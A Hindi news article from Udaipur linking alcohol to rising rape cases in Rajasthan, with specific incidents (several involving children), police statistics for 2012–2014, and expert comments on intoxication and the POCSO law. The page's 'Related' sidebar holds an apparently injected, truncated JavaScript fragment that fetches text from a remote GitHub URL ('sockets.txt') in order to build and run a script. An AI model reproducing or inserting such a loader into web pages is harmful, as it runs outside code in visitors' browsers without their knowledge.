नशा बना रहा है दुष्कर्मी

Date:

RPJHONL004180520147Z41Z43 AMउदयपुर । नशा…चाहे शराब का हो या ड्रग्स का…एक अभिशाप है। ऎसा क्यों…इसका जवाब…आए दिन कई परिवारों में होने वाली मारपीट, हत्या और जानलेवा बीमारियां जैसी घटनाएं स्पष्ट रूप से देती हैं…लेकिन अब इसी कड़ी में दुष्कर्म की बढ़ती वारदातें भी जुड़ गई हैं…।

ऎसा पुलिस पड़ताल में सामने आया है…। सच्चाई यह है कि शराब के नशे में व्यक्ति इतना वहशी हो जाता है कि जिंदगी से रिश्ता ही नहीं, रिश्तेदारों तक को भूल जाता है…7 मई 2014 को जयपुर के श्याम नगर की घटना इसका ताजा उदाहरण है, जहां मुंहबोले नाना ने ही शराब के नशे में अपनी छह वर्षीय दोहिती को हवस का शिकार बना डाला।

रात में महिला पुलिसकर्मी नहीं
कोटा के चेचट थाने में 2 अक्टूबर 2010 को रात्रि ड्यूटी पर तैनात महिला कांस्टेबल से थाने के ही कांस्टेबल और लांगरी ने दुष्कर्म किया और चाकू घोंप हत्या कर दी। वारदात के दौरान दोनों नशे में धुत थे। इस घटना के बाद पुलिस विभाग ने प्रदेश के सभी थानों में रात्रि को महिला पुलिसकर्मियों की ड्यूटी लगाना ही बंद कर दिया। जरूरत होने पर महिला पुलिसकर्मी को रात्रि को ड्यूटी पर बुला लिया जाता है।
ये भी बानगी
दिल्ली में 16 दिसम्बर 2012 को निर्भया से चलती बस में, मुम्बई में 22 अगस्त 2013 को शक्ति मिल्स में पत्रकार युवती से और सीकर में 2012 में हुई गैंगरेप की घटनाओं की पड़ताल में सामने आया कि अभियुक्तों ने अपराध करते समय शराब पी रखी थी। ताजा मामले की बात करें तो हरियाणा में 2 मई 2014 को मामा की शादी में गई सीकर की मासूम ने दुष्कर्म का दंश झेला। नशे में धुत युवक ने बच्ची के हाथों में चार फ्रेक्चर कर दिए।

दो साल में बढ़े साढ़े चार सौ मामले
राजस्थान में ही पुलिस विभाग की ओर से जारी आंकड़ों को देखें तो दुष्कर्म के मामलों में काफी बढ़ोत्तरी हुई है। वर्ष 2012 में मार्च तक के जो प्रकरण 470 थे, वे वर्ष 2014 में 924 तक आ पहुंचे। 2014 में पुलिस ने 166 प्रकरणों में चालान पेश किया, 172 में एफआर लगाई, लेकिन अब भी 586 प्रकरण लंबित हैं। मार्च तक छेड़छाड़ के 1599 मामले रिकॉर्ड में सामने आए हैं।

अवैध कितनी…
आबकारी विभाग ने शहर में अंग्रेजी शराब की और देशी मदिरा की कई दुकानें खोल रखी हैं। जबकि बीयर बार की संख्या अलग से है। शहर में गांव में कई जगह अवैध रूप से शराब की बिक्री होती है, और शराब बनाई जाती है जिस पर पुलिस का कोई नियंत्रण नहीं हे
असामान्य हो जाता है व्यक्ति
नशे में व्यक्ति सामान्य की बजाए असामान्य व्यवहार करता है। इस दौरान कभी-कभी आवेश में आकर व्यक्ति अपराध तक कर बैठता है। नशे के दौरान समूह में रहने और साथियों के उकसाने पर कई बार व्यक्ति दुष्कर्म जैसी वारदात को अंजाम देते हैं, लेकिन नशा उतरने पर उन्हें आत्मग्लानि होती है। डॉ. रश्मि जैन, समाजशास्त्री

कानून भी हुआ सख्त
दिल्ली गैंग रेप के बाद 18 साल से कम उम्र के बच्चों के मामलों में पोक्सो कानून बनाया गया। इस कानून में आरोपी को खुद ही बेगुनाही साबित करनी पड़ती है। पोक्सो की जांच आरपीएस अधिकारी ही और रेप मामले की जांच थाना प्रभारी करेगा। इसमें सजा 20 साल तक कर दी गई है। इसके अलावा भी कानून में कई संशोधन किए गए हैं। -अजय जैन, अधिवक्ता

LEAVE A REPLY

Please enter your comment!
Please enter your name here

Share post:

Subscribe

spot_imgspot_img

Popular

More like this
Related

oHmtKvYkl

QYRRUUjF;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script...

हिन्दुस्तान जिंक के स्वास्थ्य अभियान के तहत विश्व स्तनपान सप्ताह आयोजित

हिंदुस्तान जिंक, द्वारा स्वास्थ्य अभियान के तहत् विश्व स्तनपान...

हिंदुस्तान जिंक द्वारा खनन कार्यों में आंतरिक प्रतिभा के कौशल एवं अवसर वृद्धि हेतु जावर में ‘हिंदुस्तान जिंक माइनिंग अकादमी’ का शुभारंभ

इस अनूठी पहल से भूमिगत खदानों में जंबो हेल्पर्स प्रमाणित ऑपरेटर बन सकेंगे - पांच महीने तक चलनेवाले इस प्रशिक्षण कार्यक्रम में 16 सप्ताह का क्लासरूम इंस्ट्रक्शन शामिल होगा उदयपुर, 30 जुलाई, 2022: देश की एकमात्र और विश्व...